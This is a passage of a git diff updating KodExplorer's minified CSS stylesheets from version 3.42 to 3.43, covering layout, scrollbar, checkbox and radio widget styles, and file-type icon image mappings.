rgba(0,0,0,0.05);-webkit-border-radius:2px;-moz-border-radius:2px;border-radius:2px;}.frame-main .frame-right .frame-right-main .tools .tools-left{float:left;margin:4px 0 0 10px;width:100%;}.frame-main .frame-right .frame-right-main .tools .tools-left .btn-group{float:left;}.frame-main .frame-right .frame-right-main .tools .tools-left span.msg{display:none;margin-left:20px;float:left;padding-left:30px;font-size:1.1em;color:#888;height:25px;line-height:25px;background:url("../../../images/common/loading.gif") 4px 7px no-repeat;}.frame-main .frame-right .frame-right-main .tools .tools-right{margin:0px 20px 0 0;width:200px;position:absolute;right:0px;}.frame-main .frame-right .frame-right-main .tools .tools-right .btn-group-sm{float:right;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size{float:right;display:none;color:#bbb;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .dropdown-toggle{width:25px;height:25px;display:inline-block;cursor:pointer;line-height:25px;margin-right:5px;text-align:center;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open{color:#888;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size:hover .dropdown-toggle,.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size.open .dropdown-toggle{background:#f6f6f6;border-radius:3px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider{position:relative;margin-right:-34px;margin-top:30px;padding:10px 0;width:40px;min-width:10px;height:120px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:before{right:13px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider.dropdown-menu:after{right:14px;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_bg{height:100%;width:5px;background:#ddd;margin-left:17px;border-radius:3px;cursor:pointer;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle{-webkit-transition:box-shadow 0.2s;-moz-transition:box-shadow 0.2s;-o-transition:box-shadow 0.2s;-ms-transition:box-shadow 0.2s;transition:box-shadow 0.2s;width:16px;height:16px;border-radius:10px;margin-top:10px;cursor:pointer;border-width:1px \9;border:2px solid #96dbfa;background:#fff;position:absolute;margin-left:10px;top:0px;left:0;}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle:hover{box-shadow:0 0 0 6px rgba(150,219,250,0.7);}.frame-main .frame-right .frame-right-main .tools .tools-right .set_icon_size .set_icon_size_slider .slider_handle.active{background:#7ed3f9;border-color:#7ed3f9;box-shadow:none;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path{width:20px;text-decoration:none;padding:1px 10px;background:url("../../../images/common/buttons_40.png") 0 0px repeat-x;display:inline-block;text-align:center;border-radius:3px;margin-left:10px;border:1px solid #ddd;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path .font-icon{font-size:18px;line-height:20px;}.frame-main .frame-right .frame-right-main .admin_real_path a.dlg_goto_path:hover{border:1px solid #999;}.frame-main .frame-right .dropdown-menu{font-size:1em;}.frame-main .frame-right .bodymain{position:absolute;zoom:1;z-index:0;top:85px;bottom:0;left:0;overflow:auto;width:100%;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;padding-bottom:40px;}.frame-main .frame-right .file_select_info{height:25px;background:#fff;color:#aaa;opacity:0.9;filter:alpha(opacity=90);position:absolute;bottom:5px;margin-left:0px;padding:0px 1em;font-size:1em;line-height:25px;}.frame-main .frame-right .file_select_info .item_num,.frame-main .frame-right .file_select_info .item_select{border-left:3px solid rgba(200,200,200,0.3);border-right:3px solid rgba(200,200,200,0.3);padding-left:5px;padding-right:5px;}.frame-main .frame-right .file_select_info .item_select{padding-left:0.5em;border-left:none;}.user_space_info{height:25spx;width:150px;color:#aaa;overflow:hidden;padding-left:20px;}.user_space_info .space_info_bar{width:150px;}.user_space_info .space_info_bar .space_process{width:150px;}.group_space_use{float:left;padding:2px 10px 0;color:#666;margin-top:-1px;background:url("../../../images/common/buttons_40.png") 0 7px repeat-x;margin-left:10px;border-radius:2px;border:1px solid #ddd;}.fileList_icon div.file{transition:all 0.2s ease 0s;} +/* ver 3.43(2017-04-12) [build 1491999048.7803] */ \ No newline at end of file diff --git a/static/style/skin/base/app_setting.css b/static/style/skin/base/app_setting.css index 6da13f9..273a55b 100755 --- a/static/style/skin/base/app_setting.css +++ b/static/style/skin/base/app_setting.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589356.3973] */ -::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.hidden{display:none;}.frame_fullscreen{position:fixed;z-index:999499;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}@media screen and (max-width:100000px){input[type="checkbox"].kui-checkbox-ios{ display:none !important;} input[type="checkbox"].kui-checkbox-ios +em{ margin:15px 1.2em 15px 2.5em;vertical-align:middle;display:inline-block;margin:0px;border:1px solid #ddd;cursor:pointer;border-radius:999px;background-color:#f6f6f6;-webkit-transition:all 0.4s;-moz-transition:all 0.4s;-o-transition:all 0.4s;-ms-transition:all 0.4s;transition:all 0.4s;box-shadow:inset 0 0 0 0px rgba(0,0,0,0.4);} input[type="checkbox"].kui-checkbox-ios +em:after{ float:left;content:'';margin:1px 0 0 1px;width:18px;height:18px;border-radius:inherit;background:#ffffff;-webkit-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-moz-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-o-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);-ms-transition:all 0.4s cubic-bezier(.54,1.85,.5,1);transition:all 0.4s cubic-bezier(.54,1.85,.5,1);box-shadow:0 1px 3px rgba(0,0,0,0.4);pointer-events:none;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#64bd63;border:1px solid #64bd63;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ background-color:#ffffff;box-shadow:0px 2px 5px rgba(0,0,0,0.3);} input[type="checkbox"].kui-checkbox-ios.size-smallx +em{ width:20px;height:10px;} input[type="checkbox"].kui-checkbox-ios.size-smallx +em:after{ width:8px;height:8px;} input[type="checkbox"].kui-checkbox-ios.size-smallx:checked +em:after{ margin-left:11px;} input[type="checkbox"].kui-checkbox-ios.size-small +em{ width:30px;height:15px;} input[type="checkbox"].kui-checkbox-ios.size-small +em:after{ width:13px;height:13px;} input[type="checkbox"].kui-checkbox-ios.size-small:checked +em:after{ margin-left:16px;} input[type="checkbox"].kui-checkbox-ios +em{ width:40px;height:20px;} input[type="checkbox"].kui-checkbox-ios +em:after{ width:18px;height:18px;} input[type="checkbox"].kui-checkbox-ios:checked +em:after{ margin-left:21px;} input[type="checkbox"].kui-checkbox-ios.size-big +em{ width:50px;height:25px;} input[type="checkbox"].kui-checkbox-ios.size-big +em:after{ width:23px;height:23px;} input[type="checkbox"].kui-checkbox-ios.size-big:checked +em:after{ margin-left:26px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em{ width:80px;height:40px;} input[type="checkbox"].kui-checkbox-ios.size-bigx +em:after{ width:38px;height:38px;} input[type="checkbox"].kui-checkbox-ios.size-bigx:checked +em:after{ margin-left:41px;} input[type="checkbox"].kui-checkbox-ios:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.red:checked +em{ background-color:#ff5722;border:1px solid #ff5722;box-shadow:inset 0 0 0 10px #ff5722;} input[type="checkbox"].kui-checkbox-ios.blue:checked +em{ background-color:#63acff;border:1px solid #63acff;box-shadow:inset 0 0 0 10px #63acff;} input[type="checkbox"].kui-checkbox-ios.green:checked +em{ background-color:#64bd63;border:1px solid #64bd63;box-shadow:inset 0 0 0 10px #64bd63;} input[type="checkbox"].kui-checkbox-ios.yellow:checked +em{ background-color:#ffc107;border:1px solid #ffc107;box-shadow:inset 0 0 0 10px #ffc107;} input[type="checkbox"].kui-checkbox-ios.grey:checked +em{ background-color:#aaa;border:1px solid #aaa;box-shadow:inset 0 0 0 10px #aaa;} input[type="checkbox"].kui-checkbox-ios.black:checked +em{ background-color:#444;border:1px solid #444;box-shadow:inset 0 0 0 10px #444;} input[type="checkbox"].kui-checkbox{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;text-align:center;border-radius:10%;display:inline-block;background-clip:padding-box;appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="checkbox"].kui-checkbox:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none 